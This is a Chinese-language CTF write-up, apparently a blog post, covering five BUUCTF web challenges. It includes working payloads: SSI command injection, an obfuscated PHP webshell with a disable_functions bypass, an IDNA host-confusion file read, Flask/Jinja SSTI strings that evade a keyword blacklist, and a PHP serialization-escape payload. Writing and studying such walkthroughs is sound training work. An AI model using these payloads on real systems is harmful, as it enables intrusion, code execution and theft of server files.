当前位置: 首页 > news >正文

5 buuctf解题

命令执行 [BJDCTF2020]EasySearch1

打开题目

尝试弱口令,发现没有用

扫描一下后台,最后用御剑扫描到了index.php.swp

访问一下得到源码

源码如下

<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header  error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>

代码审计一下

发现当username不为空,并且admin等于6d0bc1和password的md5值的前六位的值相同就登陆

  $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";

这里我们用大佬的md5脚本

import hashlibfor i in range(1000000000):a = hashlib.md5(str(i).encode('utf-8')).hexdigest()if a[0:6] == '6d0bc1':print(i)print(a)

得到可以绕过的字符:

202066623050049162671

输入账户名admin和密码进入系统,发现在响应头中有

Url_is_here:public/a6218d90d88caf08e78eeed8b9c1baafad25d5ae.shtml

看到shtml应该要想到Apache SSI 远程命令执行漏洞

然后利用shtml的命令执行,可控参数是username

用hackbar传一下参数

payload1:username=<!--#exec cmd="ls ../"-->&password=9162671

payload2:username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=9162671

得到flag{a6b6a42a-7ae2-44f0-a156-83494c51a4bf}

知识点:

shtml是一种用于SSI技术的文件——Server Side Include--SSI。
SSI是为WEB服务器提供的一套命令,这些命令只要直接嵌入到HTML文档的注释内容之中即可

命令执行  [极客大挑战 2019]RCE ME 1

打开题目

是GET方式获取code,如果长度超过40 不执行,含有字母数字不执行,满足条件就当做php执行并且不报错,可以用异或或者取反绕过

异或绕过是指使用各种特殊字符的异或构造出字母和数字。取反绕过是对语句取反。
先查看phpinfo

生成过程:

即,对查询语句取反,然后编码。在编码前加上~进行取反,括号没有被过滤,不用取反。构造完的语句进行查询

用hackbar传参

成功绕过,查看phpinfo

发现对一些行数进行控制:

写一句话:

<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo '(~'.$b.')';
$c='(eval($_POST[1]))';
$d=urlencode(~$c);
echo '(~'.$d.')';
?>

我们不能直接使用eval 因为 eval并不是php函数 所以为我们无法通过变量函数的方法进行调用。
在这里,我们使用 assert 来构造,但由于php版本问题,我们并不能直接构造<?php assert( P O S T [ ′ a ′ ] ) ; > , 我 们 需 要 调 用 e v a l 拼 接 为 a s s e r t ( e v a l ( _POST['a']);>,我们需要调用eval 拼接为 assert(eval( P​OST[′a′]);>,我们需要调用eval拼接为assert(eval(_POST[test]))

利用蚁剑连接

但不能执行命令,和cat flag

利用蚁剑的插件进行bypass:

点击开始进入:

利用readflag得到flag:

[SUCTF 2019]Pythonginx 1

打开题目

我们需要提交一个url,用来读取服务器端任意文件

简单来说,需要逃脱前两个if,成功进入第三个if。

而三个if中判断条件都是相同的,不过在此之前的host构造却是不同的,这也是blackhat该议题中想要说明的一点

当URL 中出现一些特殊字符的时候,输出的结果可能不在预期

接着我们只需要按照getUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句了

这里借用大佬的脚本

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():for x in range(65536):uni=chr(x)url="http://suctf.c{}".format(uni)try:if getUrl(url):print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])except:passdef getUrl(url):url=urlhost=parse.urlparse(url).hostnameif host == 'suctf.cc':return Falseparts=list(urlsplit(url))host=parts[1]if host == 'suctf.cc':return Falsenewhost=[]for h in host.split('.'):newhost.append(h.encode('idna').decode('utf-8'))parts[1]='.'.join(newhost)finalUrl=urlunsplit(parts).split(' ')[0]host=parse.urlparse(finalUrl).hostnameif host == 'suctf.cc':return Trueelse:return Falseif __name__=='__main__':get_unicode()

最后输出的结果有:

先读一下etc/passwd

 题目提示我们是nginx,所以我们去读取nginx的配置文件

这里读的路径是 /usr/local/nginx/conf/nginx.conf

看到有:

于是访问http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/fffffflag

得到flag

知识点:

配置文件存放目录:/etc/nginx

主配置文件:/etc/nginx/conf/nginx.conf

管理脚本:/usr/lib64/systemd/system/nginx.service

模块:/usr/lisb64/nginx/modules

应用程序:/usr/sbin/nginx

程序默认存放位置:/usr/share/nginx/html

日志默认存放位置:/var/log/nginx

[GYCTF2020]FlaskApp 1

打开题目

hint:失败的意思就是,要让程序运行报错,报错后会暴露源码。

base64decode在不会解析的时候就会报错。

随便输一段不能加密的

报错抛出debug信息,看来是开启了debug模式

而且读到了app.py的部分代码
大致的逻辑就是获取text参数,进行解密,如果可以过waf则执行代码

@app.route('/decode',methods=['POST','GET'])
def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 : {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res =  render_template_string(tmp)

关键代码如下:

获取我们传的text参数,进行解密,如果可以过waf则执行代码。

@app.route('/decode',methods=['POST','GET'])
def decode():if request.values.get('text') :text = request.values.get("text")text_decode = base64.b64decode(text.encode())tmp = "结果 : {0}".format(text_decode.decode())if waf(tmp) :flash("no no no !!")return redirect(url_for('decode'))res =  render_template_string(tmp)

可以使用ssti注入。

因为直接cat flag发现是得不到目录的。

所以要思索一下他是不是过滤了什么

读源码

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

waf函数发现了过滤

原来是flag和os等被过滤。

def waf(str):black_list = [&#34;flag&#34;,&#34;os&#34;,&#34;system&#34;,&#34;popen&#34;,&#34;import&#34;,&#34;eval&#34;,&#34;chr&#34;,&#34;request&#34;,&#34;subprocess&#34;,&#34;commands&#34;,&#34;socket&#34;,&#34;hex&#34;,&#34;base64&#34;,&#34;*&#34;,&#34;?&#34;]for x in black_list :if x in str.lower() :return 1

利用字符串拼接找目录

发现了this_is_the_flag.txt

{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}#IHt7JycuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzc1XS5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ11bJ19faW1wJysnb3J0X18nXSgnbycrJ3MnKS5saXN0ZGlyKCcvJyl9fQ==

读取使用切片省去了拼接flag的步骤

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}#eyUgZm9yIGMgaW4gW10uX19jbGFzc19fLl9fYmFzZV9fLl9fc3ViY2xhc3Nlc19fKCkgJX17JSBpZiBjLl9fbmFtZV9fPT0nY2F0Y2hfd2FybmluZ3MnICV9e3sgYy5fX2luaXRfXy5fX2dsb2JhbHNfX1snX19idWlsdGluc19fJ10ub3BlbigndHh0LmdhbGZfZWh0X3NpX3NpaHQvJ1s6Oi0xXSwncicpLnJlYWQoKSB9fXslIGVuZGlmICV9eyUgZW5kZm9yICV9

得到flag

[0CTF 2016]piapiapia 1

打开题目

一般看到登录框,就以为是sql注入题,这道题不是

这道题存在源码泄露,在网站目录会泄漏一个www.zip文件

首先御剑发现个注册页面,注册上去看到个上传,测试多次无果

打开源码,只有几个php文件,还好,先看config.php敏感文件,看到了flag,后面可能会用到config.php

然后依次打开其他几个文件,看看有没有什么敏感函数,发现了三处:profile.php有两处:
unserialize和file_get_contents。

update.php的serialize

反序列化也是为危险函数做贡献的,所以我们的注意点就在file_get_contents上,应该是让我们通过这个函数去请求config.php文件。看一下参数怎么传过来的:在profile.php里,它是$profile数组里键名为photo的键值

$profile又是通过$user的show_profile函数传过来的,而且传过去了$username参数:

跟进去class.php下,user类里面

user类继承了mysql类,这里先调用了父类的filter函数。
这里是替换字符串中的单引号和反斜杠为下划线 ,并且替换多个字符串为hacker。
implode函数是表示把数组拼接起来,拼接符是 “|”:

然后show_profile里面又调用了父类的select函数:

可以看到数据是从表里取出来的,那就要看什么时候插入数据了,全文搜索insert或者update,在select函数的下面找到

那现在就看哪里调用了这个函数,还是在这个class.php文件里,找到了调用,在这里做了同样的过滤才更新数据:

继续找update_profile函数的调用,在update.php文件里找到:

可以看到这里对$profile进行了赋值,值是通过post传过来的。
调用链反过来看是这样:

profile.php的file_get_contents =》 show_profile() =》 class.php里的select() =》 数据库 =》 class.php里的update() =》 update_profile() =》 update.php里调用传参。

从前往后看参数传递

      整个调用链反过来推清楚了。那现在我们从前往后,绕过诸多限制进行攻击。先看update.php文件里面的photo参数。

我们盯上了它的前一个参数——nickname参数:这里就要利用到序列化的拼接+伪造,对nickname参数攻击,比如该序列化字符串:

a:3:{s:4:"dddd";s:6:"ddddhm";}

在dddd的地方输入 dddd";s:10:“buhaobuhao”;} 就变成了

a:3:{s:25:"dddd";s:10:"buhaobuhao";}";s:6:"ddddhm";}

dddd前面的字符串长度也变了,变成25了,所以这里会报错。我们就要想办法把dddd变成25位长度,还差21位。

先对它进行了正则,这个正则的意思是匹配除了a-zA-Z0-9_之外的字符,因为 “^” 符号是在 “[]” 里面,所以是非的意思,不是开始的意思。

然后 “||” 后面判断了它的长度是否大于10。

我们的nickname[]数组实际长度是39位,除了where,多出来了34位。这个时候strlen('where') == 5 != 39,不是指定的长度会报错,所以我们要想办法把where那块地方,在序列化之后(注意时间点)再增长34位。

payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

随便输入账号密码注册

用这个账号登录,发现到了注入的页面,在nickname位置输入payload抓包,记得把nickname改成nickname[] 数组

点超链接到profile.php,看源代码找到image里面的base64字符串

解码得到flag:

参考文章:

BUUCTF-WEB 【0CTF 2016】piapiapia 1_[0ctf 2016]piapiapia 1-CSDN博客

GYCTF2020 FlaskApp_ctf flaskapp-CSDN博客

[0CTF 2016]piapiapia WP(详细)_[0ctf 2016]piapiapia wp-CSDN博客

[SUCTF 2019]Pythonginx 1-CSDN博客

[极客大挑战 2019]RCE ME 1-CSDN博客

相关文章:

  • 淘宝京东1688实时API商品详情数据解析:获取市场最新趋势
  • 基于Java SSM框架实现高考填报信息系统项目【项目源码】
  • 第6.3章:StarRocks查询加速——Bucket Shuffle Join
  • fastJSON 字符串转对象
  • CCAA审核员职业健康安全管理体系基础考试大纲
  • HTTPS对HTTP的加密过程
  • ES6 | (一)ES6 新特性(上) | 尚硅谷Web前端ES6教程
  • 突破编程_C++_设计模式(单例模式)
  • stack类别
  • 前端项目打包体积分析与优化
  • 自定义神经网络三之梯度和损失函数激活函数
  • 从零到一:Spring Boot自定义条件注解的创建与使用
  • docker pullpush 生成镜像文件并push 到阿里云
  • 【毛毛讲书】【宝贵的人生建议】在面对人生选择时,我们该如何做出明智的决策呢?
  • Oracle PL/SQL Programming 第7章:Working with Program Data 读书笔记
  • css布局,左右固定中间自适应实现
  • django开发-定时任务的使用
  • Essential Studio for ASP.NET Web Forms 2017 v2,新增自定义树形网格工具栏
  • linux安装openssl、swoole等扩展的具体步骤
  • MQ框架的比较
  • nginx(二):进阶配置介绍--rewrite用法,压缩,https虚拟主机等
  • node.js
  • 短视频宝贝=慢?阿里巴巴工程师这样秒开短视频
  • 对话:中国为什么有前途/ 写给中国的经济学
  • 浮动相关
  • 七牛云 DV OV EV SSL 证书上线,限时折扣低至 6.75 折!
  • 前端自动化解决方案
  • 使用agvtool更改app version/build
  • Prometheus VS InfluxDB
  • ​sqlite3 --- SQLite 数据库 DB-API 2.0 接口模块​
  • ​ssh-keyscan命令--Linux命令应用大词典729个命令解读
  • #define、const、typedef的差别
  • #Js篇:单线程模式同步任务异步任务任务队列事件循环setTimeout() setInterval()
  • (33)STM32——485实验笔记
  • (C)一些题4
  • (c语言)strcpy函数用法
  • (done) 两个矩阵 “相似” 是什么意思?
  • (Mirage系列之二)VMware Horizon Mirage的经典用户用例及真实案例分析
  • (pytorch进阶之路)扩散概率模型
  • (ZT)出版业改革:该死的死,该生的生
  • (深度全面解析)ChatGPT的重大更新给创业者带来了哪些红利机会
  • (原创)攻击方式学习之(4) - 拒绝服务(DOS/DDOS/DRDOS)
  • (中等) HDU 4370 0 or 1,建模+Dijkstra。
  • (转)如何上传第三方jar包至Maven私服让maven项目可以使用第三方jar包
  • .net core 客户端缓存、服务器端响应缓存、服务器内存缓存
  • .net 打包工具_pyinstaller打包的exe太大?你需要站在巨人的肩膀上-VC++才是王道
  • .NET4.0并行计算技术基础(1)
  • .net连接MySQL的方法
  • .net通用权限框架B/S (三)--MODEL层(2)
  • /bin/bash^M: bad interpreter: No such file ordirectory
  • /usr/bin/perl:bad interpreter:No such file or directory 的解决办法
  • ?
  • @SuppressLint(NewApi)和@TargetApi()的区别
  • []利用定点式具实现:文件读取,完成不同进制之间的
  • [<死锁专题>]